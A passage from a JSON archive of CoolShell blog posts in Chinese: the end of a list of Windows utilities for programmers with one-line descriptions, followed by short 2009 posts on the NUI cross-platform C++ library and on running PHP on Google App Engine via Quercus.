target=\"_blank\">FileZilla</a> – 鼎鼎大名的FTP/FTPS/SFTP 客户端。</p>\n<p><a href=\"http://addons.mozilla.org/en-US/firefox/addon/1843/\" target=\"_blank\">FireBug</a> – 在Firefox中调试JavaScript。</p>\n<p><a href=\"http://fireftp.mozdev.org/\" target=\"_blank\">FireFTP</a> – Firefox的FTP 客户端。</p>\n<p><a href=\"http://www.fortresgrand.com/products/f101/f101.htm\" target=\"_blank\">Fortres 101</a> – 桌面安全软件。</p>\n<p><a href=\"http://www.slavasoft.com/fsum/\" target=\"_blank\">FSUM</a> – 一个验证文件完整性的命令行工具。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=9aeaa970-f281-4fb0-aba1-d59d7ed09772&amp;DisplayLang=en\" target=\"_blank\">FxCop</a> – .NET 源码分析工具。</p>\n<p><a href=\"http://getright.com/\" target=\"_blank\">GetRight</a> – 一个非常优秀的下载管理器。</p>\n<p><a href=\"https://secure.logmein.com/products/hamachi/vpn.asp\" target=\"_blank\">Hamachi</a> – 可以提供一个VPN 服务。设置起来非常简单，只需要10分钟，然后你就可以通过internet连入你的公司或家里了。</p>\n<p><a href=\"http://www.hmailserver.com/\" target=\"_blank\">hMailServer</a> – 免费的邮件服务器。</p>\n<p><a href=\"http://www.ieinspector.com/httpanalyzer/\" target=\"_blank\">HTTP Analyzer</a> – 实时监控，跟踪，调试，并分析 HTTP/HTTPS 的访问。</p>\n<p><a href=\"http://www.port80software.com/products/httpzip/\" target=\"_blank\">httpZip</a> – 基于IIS 4, 5, 和6.0 的ISAPI。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=56FC92EE-A71A-4C73-B628-ADE629C89499&amp;displaylang=en\" target=\"_blank\">IIS 6.0 Resource Kit Tools</a> – 帮助你设置，保护和管理IIS。</p>\n<p><a href=\"http://www.codeplex.com/iisadmin\" target=\"_blank\">IIsAdmin.NET</a> – 创建多个IIS站点的定义。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=4516A6F7-5D44-482B-9DBD-869B4A90159C\" target=\"_blank\">Internet Explorer 7 Blocker</a> – 阻止IE7 被安装。（奇怪的工具）</p>\n<p><a href=\"http://www.imtoo.com/mpeg-encoder.html\" target=\"_blank\">ImTOO MPEG Encoder</a> – 视频格式转换。</p>\n<p><a href=\"http://installpad.com/\" target=\"_blank\">InstallPad</a> – 让你的程序运行地更快一些。</p>\n<p><a href=\"http://tangiblesoftwaresolutions.com/\" target=\"_blank\">Instant C#</a> – 把 VB.NET程序 转成C#程序</p>\n<p><a href=\"http://sourceforge.net/project/downloading.php?groupname=javara&amp;filename=JavaRa.zip&amp;use_mirror=osdn\" target=\"_blank\">JavaRa</a> – 删除好的没有用的Java版本。</p>\n<p><a href=\"http://jaxe.sourceforge.net/\" target=\"_blank\">Jaxe</a> – 一个免费的 XML 编辑器，并支持 XPath 搜索。</p>\n<p><a href=\"http://www.kessels.com/JkDefrag/\" target=\"_blank\">JKDefrag</a> – 一个很不错的磁盘碎片整理优化程序。</p>\n<p><a href=\"http://www.rekenwonder.com/linkmagic.htm\" target=\"_blank\">Junction Link Magic</a> – 创建 junction points（比如我的文档，网上邻居这类的目录）</p>\n<p><a href=\"http://www.jzip.com/\" target=\"_blank\">jZip</a> – 创建，解压，压缩Zip, TAR, GZip 和7-Zip文件，只能解压 RAR 和ISO文件。</p>\n<p><a href=\"http://www.launchy.net/\" target=\"_blank\">Launchy</a> – 在你的开始菜单中创建文件，工程，目录和收藏夹等东西。</p>\n<p><a href=\"http://www.leafnetworks.net/\" target=\"_blank\">Leaf Networks</a> – 创建你自己私有的网络。</p>\n<p><a href=\"http://www.linqpad.net/\" target=\"_blank\">LINQPad</a> – 一个小工具可以和 SQL databases,，XML data 和object collections 交互。</p>\n<p><a href=\"http://www.mediafour.com/macdrive\" target=\"_blank\">MacDrive</a> – 在Windows下挂载OS-X HFS/HFS+ 文件系统。</p>\n<p><a href=\"http://www.magiciso.com/\" target=\"_blank\">MagicISO</a> – 一个强大的 CD/DVD 映像文件 创建/编辑/提取工具。</p>\n<p><a href=\"http://technet.microsoft.com/en-us/security/cc184924.aspx\" target=\"_blank\">MBSA</a> – 帮你校对并比对你系统目前的系统安全是否是微软推荐的。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;displaylang=en\" target=\"_blank\">Microsoft Log Parser</a> – 可以读取基于文本的log files，XML 文件或CSV 文件，这些文件一般都是Windows操作系统中各种工具的日志文件，比如事件日志，注册表，性能监视器和活动目录。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=7c8051c2-9bfc-4c81-859d-0864979fa403&amp;displaylang=en\" target=\"_blank\">Microsoft PowerShell 2</a> – Microsoft下一代的命令行shell</p>\n<p><a href=\"http://en.wikipedia.org/wiki/Robocopy\" target=\"_blank\">Microsoft RoboCopy</a> – 强大的文件拷贝。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=56E5B1C5-BF17-42E0-A410-371A838E570A&amp;displaylang=en\" target=\"_blank\">Microsoft SQL Server Database Publishing Wizard 1.1</a> – 把SQL  Sever数据库变成T-SQL 脚本。</p>\n<p><a href=\"http://www.microsoft.com/windowsserver2008/en/us/support-unix.aspx\" target=\"_blank\">Microsoft SUA for UNIX-based Applications</a> – 和UNIX 互通的组件。</p>\n<p><a href=\"http://www.mono-project.com/Start\" target=\"_blank\">Mono/GTK#/Moonlight</a> – Linux下的.NET, ASP.NET 和 Silverlight</p>\n<p><a href=\"http://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe\" target=\"_blank\">Microsoft Virtual CD-ROM Control Panel</a> – ISO 文件虚拟光驱。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=72d6aa49-787d-4118-ba5f-4f30fe913628&amp;displaylang=en\" target=\"_blank\">Microsoft XML Notepad 2007</a> –  XML 文件编辑器。</p>\n<p><a href=\"http://www.mygenerationsoftware.com/portal/default.aspx\" target=\"_blank\">MyGeneration</a> – 代码生成器。</p>\n<p><a href=\"http://www.nat32.com/\" target=\"_blank\">NAT32 IP Router</a> – 一个外网内网IP转换程序。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,2122550,00.asp\" target=\"_blank\">NetShare Manager</a> – 组织并控制不同网络的网络共享。</p>\n<p><a href=\"http://www.netstumbler.com/\" target=\"_blank\">NetStumbler</a> – 网络抓包程序，用于Wi-Fi 网络。</p>\n<p><a href=\"http://users.pandora.be/ahmadi/nettools.htm\" target=\"_blank\">NetTools</a> – 一个全面的主机监控，网络扫描，安全，管理工具。可能还更多。</p>\n<p><a href=\"http://www.nirsoft.net/utils/index.html\" target=\"_blank\">NirTools</a> – 一个Windows 工具集。</p>\n<p><a href=\"http://www.joejoesoft.com/cms/showpage.php?cid=97\" target=\"_blank\">NOD32</a> – 号称是目前最好的防病毒软件。</p>\n<p><a href=\"http://www.netikus.net/products_nttoolkit.html\" target=\"_blank\">NT Toolkit</a> – 一系例小巧而实用为了网络管理而设计的工具。</p>\n<p><a href=\"http://www.meinberg.de/english/sw/ntp.htm\" target=\"_blank\">NTP</a> – Windows的网络时间服务程序。</p>\n<p><a href=\"http://www.stardock.com/products/odnt/\" target=\"_blank\">Object Desktop</a> – 让Windows看起来就是你想要的。</p>\n<p><a href=\"http://openvpn.net/\" target=\"_blank\">OpenVPN</a> – 全功能的开源 SSL VPN 解决方案。支持远程访问， site-to-site VPNs, Wi-Fi 安全，和企业级的解决方案——比如负载平衡，权限策略等</p>\n<p><a href=\"http://osiris.shmoo.com/\" target=\"_blank\">Osiris Host Integrity Monitoring</a> – 一个主机监控程序。其可以监控一台或多台主机是否发生了改变，其维护了一个非常细的日志来记录了文件系统，用户，内核模块的改变，以及更多的东西。</p>\n<p><a href=\"http://www.ossim.net/\" target=\"_blank\">OSSIM</a> – 全称是Open Source Security Information Management，一个提供了全面的工具，这些小工具在一起工作，可让你看到所有主机的网络/物理资源的使用情况。</p>\n<p><a href=\"http://www.getpaint.net/\" target=\"_blank\">Paint.NET</a> – 一个免费的很简单的图片编辑器。</p>\n<p><a href=\"http://www.powergrep.com/\" target=\"_blank\">PowerGREP</a> – Windows 下的grep 工具，不但支持文本文件，还支持，二进制文件，压缩文件，WORD文件，EXCEL电子表格，PDF文件等等。（关于grep，这是一个Unix下的扫描文件内容或标准输出，并找到匹配字符串的程序）</p>\n<p><a href=\"http://www.powerlocker.com/index_files/PowerLockerPro.htm\" target=\"_blank\">PowerLocker</a> – 提供了一个快速简单的方式让你锁住你的PowerShell scripts</p>\n<p><a href=\"http://www.stevemiller.net/puretext/\" target=\"_blank\">PureText</a> – 任务栏小图标可以移除剪贴板里的文本格式。</p>\n<p><a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" target=\"_blank\">PuTTY</a> – 这个不用多说了，鼎鼎大名的免费的Telnet 和SSH客户端程序。</p>\n<p><a href=\"http://www.regexbuddy.com/\" target=\"_blank\">RegExBuddy</a> – 一个容易创建正规表达式的工具。即简单，也复杂。</p>\n<p><a href=\"http://sourceforge.net/projects/regulator/\" target=\"_blank\">Regulator</a> – 高级的正则表达式测试工具。并有语法高亮显示和web-service 集成以读取Regexlib.com的在线正则表达式。</p>\n<p><a href=\"http://www.jetbrains.com/resharper/\" target=\"_blank\">ReSharper</a> – 完全集成于Visual Studio，实时的错误高亮，代码提示，以及单元测试工具。一供有超过30 个高级的代码重构方案，多个代码导航和收搜工具，自动代码生成，和代码模板生成，以及其它更多的功能以配合C#, VB.NET, ASP.NET, XML, 和XAML使用。</p>\n<p><a href=\"http://www.revouninstaller.com/\" target=\"_blank\">Revo Uninstaller</a> – 反安装，删除程序。以解决反安装中的问题。</p>\n<p><a href=\"http://www.roboform.com/\" target=\"_blank\">RoboForm</a> – 口令管理，网页表单填写。</p>\n<p><a href=\"http://www.codeplex.com/sdctasks\" target=\"_blank\">SDC Tasks Library</a> – 超过300 MSBuild 任务。</p>\n<p><a href=\"http://blogs.msdn.com/delay/archive/2009/03/11/where-s-your-leak-at-using-windbg-sos-and-gcroot-to-diagnose-a-net-memory-leak.aspx\" target=\"_blank\">SOS</a> – WinDbg 扩展，可以让WPF 和Silverlight 程序员使用。</p>\n<p><a href=\"http://www.gtopala.com/\" target=\"_blank\">System Information for Windows</a> – 收集系统属性和配置的细节信息。并用一种极端的完整的方式显示出来。</p>\n<p><a href=\"http://www.javacoolsoftware.com/spywareblaster.html\" target=\"_blank\">SpywareBlaster</a> – 阻止你的IE中了基于ActiveX的间谍软件，广告软件，以及流氓软件，或是其它你不想要的软件。</p>\n<p><a href=\"http://www.nirsoft.net/utils/smsniff.html\" target=\"_blank\">SmartSniff</a> – TCP/IP 抓包程序。</p>\n<p><a href=\"http://www.techsmith.com/\" target=\"_blank\">SnagIt</a> – 强大的抓屏程序。</p>\n<p><a href=\"http://subversion.tigris.org/\" target=\"_blank\">subversion</a> – 鼎鼎大名的代码版本控制软件。</p>\n<p><a href=\"http://sqldigger.bdsweb.be/\" target=\"_blank\">SQL Digger</a> – SQL存过，视图等关键字搜索工具。</p>\n<p><a href=\"http://www.cabercomputing.com/Products-SqlTac.aspx\" target=\"_blank\">SQLTac</a> – 强大的协助你管理你的Domain Knowledge工具。</p>\n<p><a href=\"http://www.sqltools.net/\" target=\"_blank\">SQLTools</a> – 免费的Oracle PL/SQL 编辑器。</p>\n<p><a href=\"http://www.sqlyog.com/\" target=\"_blank\">SQLyog</a> – 免费的MySQL 编辑器。</p>\n<p><a href=\"http://code.msdn.microsoft.com/sourceanalysis\" target=\"_blank\">StyleCop</a> – 分析C# 源代码，以保成代码风格的一致性。</p>\n<p><a href=\"http://www.superantispyware.com/\" target=\"_blank\">SuperAntiSpyware</a> – 最牛的反间谍软件扫描器。</p>\n<p><a href=\"http://www.2brightsparks.com/syncback/sbpro.html\" target=\"_blank\">SyncBackPro</a> – 实时加密，版本备份和同步。</p>\n<p><a href=\"http://synergy2.sourceforge.net/\" target=\"_blank\">synergy2</a> – 让一个鼠标键盘共享给多个电脑使用。</p>\n<p><a href=\"http://live.sysinternals.com/\" target=\"_blank\">SysInternals Suite Live</a> – 一个超强的NETBIOS 版本的SysInternals Suite</p>\n<p><a href=\"http://technet.microsoft.com/en-us/sysinternals/0e18b180-9b7a-4c49-8120-c47c5a693683.aspx\" target=\"_blank\">Sysinternals Suite</a> – 一级超强的高兴系统工具和技术信息。</p>\n<p><a href=\"http://www.sysresccd.org/\" target=\"_blank\">SystemRescueCD</a> – 可启动的 Linux CD </p>\n<p><a href=\"http://jpsoft.com/\" target=\"_blank\">Take Command</a> – 最好的图形Shell。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,2253746,00.asp\" target=\"_blank\">TaskPower</a> – 查看并分析进程的运行。</p>\n<p><a href=\"http://www.jetbrains.com/teamcity\" target=\"_blank\">TeamCity</a> – 惊艳的持续综合包。</p>\n<p><a href=\"http://www.cgsecurity.org/wiki/TestDisk\" target=\"_blank\">TestDisk</a> – 恢复丢失的分区。</p>\n<p><a href=\"http://www.threatfire.com/\" target=\"_blank\">ThreatFire</a> – 实时的行为分析和间谍软件检测软件。</p>\n<p><a href=\"http://www.jam-software.com/software.html\" target=\"_blank\">TreeSize Free</a> – 告诉你为什么宝贵的磁盘空间到哪里去了。</p>\n<p><a href=\"http://www.ceruleanstudios.com/\" target=\"_blank\">Trillian</a> – 多人网络聊天工具。</p>\n<p><a href=\"http://www.truecrypt.org/\" target=\"_blank\">TrueCrypt</a> – 免费的开源的磁盘加密软件，可用于Windows Vista/XP, Mac OS X, 和Linux</p>\n<p><a href=\"http://www.bitvise.com/tunnelier\" target=\"_blank\">Tunnelier</a> – SSH 和SFTP 客户端。</p>\n<p><a href=\"http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx\" target=\"_blank\">TweakUI</a> – 可以修正一些惹人烦的关于Windows UI的小软件。</p>\n<p><a href=\"http://www.ultraedit.com/\" target=\"_blank\">UltraEdit</a> – Text, hex, HTML, PHP, Java, Javascript, Perl, 等等，一个强大的编辑器。</p>\n<p><a href=\"http://www.realtimesoft.com/ultramon/\" target=\"_blank\">UltraMon</a> – 多显示器工具。</p>\n<p><a href=\"http://www.undelete-plus.com/\" target=\"_blank\">Undelete Plus</a> – 恢复被删除的文件。</p>\n<p><a href=\"http://ccollomb.free.fr/unlocker/\" target=\"_blank\">Unlocker</a> – 有些时候，一些文件被一些进程占着我们无法删除，这个程序就是把这些被锁住的文件解锁。</p>\n<p><a href=\"http://www.roadkil.net/program.php?ProgramID=29\" target=\"_blank\">Unstoppable Copier</a> – 恢复被物理损坏的硬盘上的文件。允许你从一些坏磁道上把文件备份下来。</p>\n<p><a href=\"http://www.utorrent.com/\" target=\"_blank\">uTorrent</a> – BitTorrent 客户端。</p>\n<p><a href=\"http://shark007.net/\" target=\"_blank\">Vista 64-bit Codecs</a> – Windows Vista 64-bit下的音频和视频解码器。</p>\n<p><a href=\"http://www.visualsvn.com/\" target=\"_blank\">VisualSVN</a> – 为了Microsoft Visual Studio开发的专业的Subversion 集成程序</p>\n<p><a href=\"http://virtuawin.sourceforge.net/\" target=\"_blank\">VirtuaWin</a> – 虚拟桌面。</p>\n<p><a href=\"http://www.videolan.org/vlc/\" target=\"_blank\">VLC Media Player</a> – 免费的音频和视频播放器。</p>\n<p><a href=\"http://www.vlite.net/\" target=\"_blank\">vLite</a> – 一个可以定制Windows Vista 安装的小工具。</p>\n<p><a href=\"http://www.vmware.com/download/server/\" target=\"_blank\">VMware Server</a> – 在一台机器上运行多个操作系统。</p>\n<p><a href=\"http://www.weblogexpert.com/\" target=\"_blank\">Weblog Expert</a> – 快速和强大的网站访问log 分析和报告。</p>\n<p><a href=\"http://www.microsoft.com/whdc/devtools/debugging/default.mspx\" target=\"_blank\">WinDbg</a> – 低层的Windows程序调试工具。</p>\n<p><a href=\"http://www.httrack.com/\" target=\"_blank\">WinHTTrack</a> – 网页拷贝。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=3E972E9A-E08A-49A2-9D3A-C0519479E85A&amp;displaylang=en\" target=\"_blank\">Windows NT 4.0 Resource Kit</a> – 老了但可能还是有用的Windows NT 4.0 工具</p>\n<p><a href=\"http://support.microsoft.com/kb/927229\" target=\"_blank\">Windows 2000 Resource Kit</a> – Windows 2000 工具集</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=9D467A69-57FF-4AE7-96EE-B18C4790CFFD&amp;displaylang=en\" target=\"_blank\">Windows 2003 Resource Kit</a> – Windows 2003 工具集</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=96a35011-fd83-419d-939b-9a772ea2df90&amp;displaylang=en\" target=\"_blank\">Windows 2003 Support Tools</a> – Windows 2003 管理工具集</p>\n<p><a href=\"http://windirstat.info/\" target=\"_blank\">WinDirStat</a> – 磁盘使用统计和清楚工具。</p>\n<p><a href=\"http://www.bitvise.com/winsshd\" target=\"_blank\">WinSSHD</a> – SSH 服务程序。</p>\n<p><a href=\"http://www.wireshark.org/\" target=\"_blank\">WireShark</a> – 强大的网络协义抓包分析器。</p>\n<p><a href=\"http://www.zftpserver.com/\" target=\"_blank\">zFTPServer Suite</a> – FTP 服务程序，以及强大的SSL 加密安全认证。</p>\n<p>（如有不足，请补充）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/506.html\">Windows下和程序员相关小工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-14 NUI一个跨平台的C++库.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/home.jpg\"></a>这个免费的GPL许可证的C++库据说可以跨Linux, MacOS, Windows和iPhone，太过份，居然还连iPhone也跨了。</p>\n<p>大家可以到下面这个网址上下载下来试试看，我还没有来得及试。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.libnui.net/\">http://www.libnui.net/</a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/home.jpg\"><img alt=\"home\" class=\"alignnone size-medium wp-image-529\" height=\"168\" src=\"../wp-content/uploads/2009/04/home-300x168.jpg\" title=\"home\" width=\"300\"/></a></p>\n<p style=\"text-align: center;\"> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/528.html\">NUI一个跨平台的C++库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-14 如何在Google App Engine上运行PHP.html",
    "content": "<html><body><p>Google 在一年前发布了<a href=\"http://code.google.com/appengine/\">Google App Engine</a> (GAE) 。这是一个免费的 App Engine 主机，可以让你的每个Application（免费的最多有10个）有1GB的磁盘空间和43.6个CPU小时与10GB的上传和10GB的下载带宽，以及2000个电子邮件。如果你需要地更多，那就是付钱了。</p>\n<p>GAE 最近发布了正式<a href=\"http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html\" target=\"_blank\">支持Java</a>的通知。于是，互联网上开始有了各种各样的BLOG评论文章，还有一些人居然在Google App Engine 中运行PHP程序，这个太不可思议了。因为GAE目前并不支持PHP。</p>\n<p>其实，他们使用了一个叫做 <a href=\"http://www.caucho.com/resin-3.0/quercus/\">Quercus</a>的东东， Quercus 本质上是一个 100% 的用Java 实现的一个 PHP 引擎 (需要 JDK 1.5)，所以，只要你把Quercus集成到你的GAE中，你自然也可以运行PHP脚本了。</p>\n<p><span id=\"more-531\"></span></p>\n<p>下面是大体步骤：</p>\n<p style=\"padding-left: 30px;\">1) 注删一个 <a href=\"http://appengine.google.com/\">免费的帐号</a>。<br/>\n2) 下载<a href=\"http://www.webdigi.co.uk/fun/php-appengine/phpwithjava.zip\">这个文件</a> 到你本机。<br/>\n3) 在 war\\WEB-INF\\appengine-web.xml 编辑应用的XML tag，把其名字改成你所注册的名字。<br/>\n4) 最后，<a href=\"http://code.google.com/appengine/docs/java/gettingstarted/uploading.html\">上传你的应用</a>。</p>\n<p>更多细节请参看：</p>\n<ul>\n<li><a href=\"http://phpwithjava.appspot.com/webdigi.phphttp://phpwithjava.appspot.com/info.php\">http://phpwithjava.appspot.com/webdigi.php</a></li>\n<li><a href=\"http://phpwithjava.appspot.com/info.php\">http://phpwithjava.appspot.com/info.php</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/531.html\">如何在Google App Engine上运行PHP</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
